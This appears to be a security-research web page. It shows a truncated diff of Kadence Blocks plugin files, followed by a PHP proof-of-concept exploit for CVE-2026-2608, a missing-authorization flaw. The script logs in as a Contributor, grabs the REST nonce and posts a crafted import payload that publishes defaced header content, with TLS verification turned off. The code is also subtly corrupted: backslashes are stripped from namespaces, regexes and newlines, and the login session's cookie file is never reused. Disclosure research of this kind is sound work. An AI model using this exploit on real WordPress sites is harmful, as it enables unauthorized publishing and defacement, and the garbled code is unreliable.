+		$enum_values = sprintf( "'%s', '%s'", Viewport::desktop()->value(), Viewport::mobile()->value() );
+
+		return "
+			CREATE TABLE `$table_name` (
+				path_hash CHAR(64) NOT NULL COMMENT 'SHA-256 hash of the path (via $wp->request), identifies the URL',
+				viewport ENUM($enum_values) NOT NULL COMMENT 'The viewport/device identifier',
+				html_hash VARCHAR(512) NOT NULL COMMENT 'A composite of hashes separated by | in a key:SHA-256 value of the HTML markup for this viewport',
+				PRIMARY KEY (path_hash, viewport),
+				KEY idx_html_hash (html_hash)
+			) {$charset_collate};
+		";
+	}
+}
--- a/kadence-blocks/includes/resources/Optimizer/Database/Viewport_Query.php
+++ b/kadence-blocks/includes/resources/Optimizer/Database/Viewport_Query.php
@@ -0,0 +1,15 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksOptimizerDatabase;
+
+use KadenceWPKadenceBlocksDatabaseQuery;
+use KadenceWPKadenceBlocksOptimizerOptimizer_Provider;
+
+/**
+ * A query builder wrapper for the Viewport_Hash table.
+ *
+ * @see Optimizer_Provider::register_viewport_query()
+ */
+final class Viewport_Query extends Query {
+
+}
--- a/kadence-blocks/includes/resources/Optimizer/Enums/Viewport.php
+++ b/kadence-blocks/includes/resources/Optimizer/Enums/Viewport.php
@@ -0,0 +1,47 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksOptimizerEnums;
+
+/**
+ * A pseudo Viewport enum.
+ */
+final class Viewport {
+
+	public const DESKTOP = 'desktop';
+	public const MOBILE  = 'mobile';
+
+	/**
+	 * T

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2608 - Gutenberg Blocks by Kadence Blocks <= 3.5.32 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-2608
 * Demonstrates unauthorized CPT content publishing via Kadence Blocks import functionality
 * Requires Contributor-level WordPress credentials
 */

$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate to WordPress and obtain nonce
function get_wp_nonce($target_url, $username, $password) {
    $login_url = $target_url . '/wp-login.php';
    $admin_url = $target_url . '/wp-admin/';
    
    // Create a cookie jar for session management
    $cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_2608');
    
    // Initial request to get login form and cookies
    $ch = curl_init($login_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    $response = curl_exec($ch);
    
    // Extract nonce from login form (WordPress uses 'log' and 'pwd' fields)
    preg_match('/name="wp-submit" value="([^"]+)"/', $response, $matches);
    $submit_value = $matches[1] ?? 'Log In';
    
    // Perform login
    $post_fields = [
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => $submit_value,
        'redirect_to' => $admin_url,
        'testcookie' => '1'
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_fields)
    ]);
    curl_exec($ch);
    
    // Now get admin page to extract REST API nonce
    curl_setopt_array($ch, [
        CURLOPT_URL => $admin_url,
        CURLOPT_POST => false
    ]);
    $admin_response = curl_exec($ch);
    curl_close($ch);
    
    // Extract REST API nonce (typically in wpApiSettings.nonce)
    preg_match('/wpApiSettingss*=s*({[^}]+})/', $admin_response, $matches);
    if (!empty($matches[1])) {
        $settings = json_decode($matches[1], true);
        return $settings['nonce'] ?? null;
    }
    
    return null;
}

// Step 2: Craft malicious import request with CPT content
function exploit_cpt_publishing($target_url, $cookie_file, $nonce) {
    $rest_url = $target_url . '/wp-json/kadence-blocks/v1/import_html/';
    
    // Craft payload with CPT content that should be published
    $malicious_content = '{"blocks":[{"blockName":"kadence/header","attrs":{"post_type":"kadence_header","post_title":"Unauthorized Header","post_content":"<h1>Hacked by Contributor</h1>","post_status":"publish"}}]}';
    
    $ch = curl_init($rest_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => json_encode([
            'content' => $malicious_content,
            'style' => 'import'
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'X-WP-Nonce: ' . $nonce
        ],
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Execute the exploit
$nonce = get_wp_nonce($target_url, $username, $password);
if ($nonce) {
    echo "[+] Obtained nonce: $noncen";
    
    // Create cookie file for the session
    $cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_2608_cookie');
    
    $result = exploit_cpt_publishing($target_url, $cookie_file, $nonce);
    
    if ($result['code'] == 200) {
        echo "[+] SUCCESS: CPT content published without proper authorizationn";
        echo "[+] Response: " . $result['response'] . "n";
    } else {
        echo "[-] FAILED: HTTP Code " . $result['code'] . "n";
        echo "[-] Response: " . $result['response'] . "n";
    }
    
    // Cleanup
    unlink($cookie_file);
} else {
    echo "[-] Failed to obtain authentication noncen";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School